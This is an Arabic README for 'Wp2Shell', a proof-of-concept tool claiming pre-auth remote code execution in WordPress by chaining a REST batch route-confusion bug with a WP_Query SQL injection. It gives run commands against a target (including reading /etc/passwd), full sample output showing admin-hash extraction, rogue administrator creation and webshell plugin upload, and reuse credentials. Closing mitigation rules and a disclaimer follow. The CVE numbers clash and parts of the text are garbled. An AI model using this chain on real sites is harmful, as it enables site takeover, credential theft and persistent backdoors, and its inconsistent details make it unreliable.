
استغلال PoC لـ Wp2Shell، CVE-2026-63030 + CVE-2026-63137
تنفيذ كود عن بُعد قبل المصادقة في نواة ووردبريس.
CVE-2026-60137 (حقن SQL في WP_Query) مقترنة مع CVE-2026-63030 (التباس توجيه الدفعات في REST API).
لأغراض البحث الأمني التعليمي والمصرَّح به فقط.
الإصدارات من 6.9.0 حتى 6.9.4 ومن 7.0.0 حتى 7.0.1 من ووردبريس معرّضة للثغرة. تم إصلاحها في الإصدارين 6.9.5 و7.0.2.
يجمع هذا الاستغلال بين ثغرتين:
CVE-2026-63030 — التباس توجيه الدفعات. تعالج نقطة نهاية الدفعات في REST API الموجودة عند /wp-json/batch/v1 (أو /?rest_route=/batch/v1) الطلبات الفرعية على مرحلتين: فهي تطابق كل مسار مع مُعالِج، ثم تُرسِل كل طلب عبر المُعالِج المطابق له. وعند إدراج مسار مشوّه عمدًا (///) بوصفه أول طلب فرعي، يخزّن ووردبريس كائن WP_Error في الفهرس 0 من مصفوفة المسارات المطابقة، ما يُزيح كل تعيين لاحق للمُعالِجات إلى الخلف بمقدار فهرس واحد. وعندها يقترن كل طلب في حلقة الإرسال بمُعالِج خاطئ — إذ يُنفَّذ طلبٌ تم التحقق منه وفق Schema A بواسطة Handler B، متجاوزًا تنقية المعاملات التي كان يفرضها Schema A.
CVE-2026-60137 — حقن SQL في WP_Query. تقبل نقطة نهاية مجموعة المقالات معامل الذي يفرض مخططه قيمًا صحيحة داخل مصفوفة، ويُنقّي كل عنصر عبر قبل وصوله إلى . ويؤدي عدم تزامن الدفعات إلى تجاوز هذا المعامل للتحقق من المخطط بالكامل ووصوله إلى منطق في كسلسلة نصية خام. ولأن يُطبَّق فقط داخل فرع ، تُدرَج السلسلة الخام مباشرة في جملة SQL ، ما يتيح حقن .
author_excludeabsint()WP_Queryauthor__not_inWP_Queryabsint()is_array()WHEREUNION SELECTتتوالى السلسلة الكاملة في أربع خطوات:
UNION SELECT المنعكسة في استجابة REST بصيغة JSON.wp_posts مزيفة تُسمِّم ذاكرة oEmbed المؤقتة وتُطلق خطاف نشر changeset في WP_Customize_Manager، والذي يستدعي wp_insert_user() مع role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
لا حاجة إلى تثبيت عبر pip.
تشغِّل الخطوات الأربع جميعها: تأكيد عدم التزامن (desync)، واستطلاع قاعدة البيانات عبر SQL، وإنشاء حساب المسؤول، ونشر ويب شيل. يتم إنشاء حساب مسؤول وإضافة جديدتين في كل تشغيل.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
عند استهداف موقع HTTPS بشهادة ذاتية التوقيع:
python3 exploit.py --url https://TARGET --command "id" --insecure
بعد اكتمال تشغيل السلسلة الكاملة، يطبع السكربت أمر إعادة استخدام جاهزًا مع بيانات الاعتماد ومسار القشرة المُنشأين مسبقًا. مرِّر هذه الخيارات الثلاثة في التشغيلات اللاحقة لتخطي مرحلتي SQL وإنشاء المسؤول بالكامل:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
| الخيار | المختصر | الوصف |
|---|---|---|
--url | -u | عنوان ووردبريس الأساسي المستهدف. الافتراضي: http://localhost:8080 |
--command | -c | أمر نظام التشغيل المطلوب تنفيذه. الافتراضي: id |
--insecure | -k | تعطيل التحقق من شهادة TLS للشهادات ذاتية التوقيع |
--admin-user | وضع إعادة الاستخدام: اسم مستخدم المسؤول المُنشأ مسبقًا | |
--admin-password | وضع إعادة الاستخدام: كلمة مرور المسؤول المُنشأة مسبقًا | |
--prev-webshell-plugin | وضع إعادة الاستخدام: مسار الويب لإضافة القشرة المنشورة مسبقًا |
يجب تزويد الخيارات الثلاثة --admin-* / --prev-webshell-plugin جميعها معًا أو عدم تزويد أيٍّ منها.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
قم بالتحديث فورًا إلى إصدار مُصلَح.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6إذا لم يكن تطبيق التحديث ممكنًا فورًا، فاحظر صيغتي عنوان URL لنقطة نهاية الدفعات على مستوى خادم الويب أو جدار حماية التطبيقات (WAF). يجب حظر المسارين معًا — فالقاعدة التي تغطي صيغة الروابط الجميلة فقط تترك صيغة سلسلة الاستعلام مفتوحة:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
أو عطِّل نقطة النهاية من داخل ووردبريس باستخدام إضافة إلزامية الاستخدام (must-use plugin):
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
تعامل مع جميع الإجراءات ما قبل التحديث كحلول مؤقتة فقط. طبِّق التحديث في أقرب وقت ممكن، وتحقق من الإصدار المثبَّت على كل نسخة معرّضة للإنترنت بعد ذلك.
هذه الأداة مُقدَّمة للأغراض التعليمية واختبار الاختراق المصرَّح به فقط. تشغيلها ضد أي نظام دون إذن كتابي صريح مسبق من مالك النظام يُعد أمرًا غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.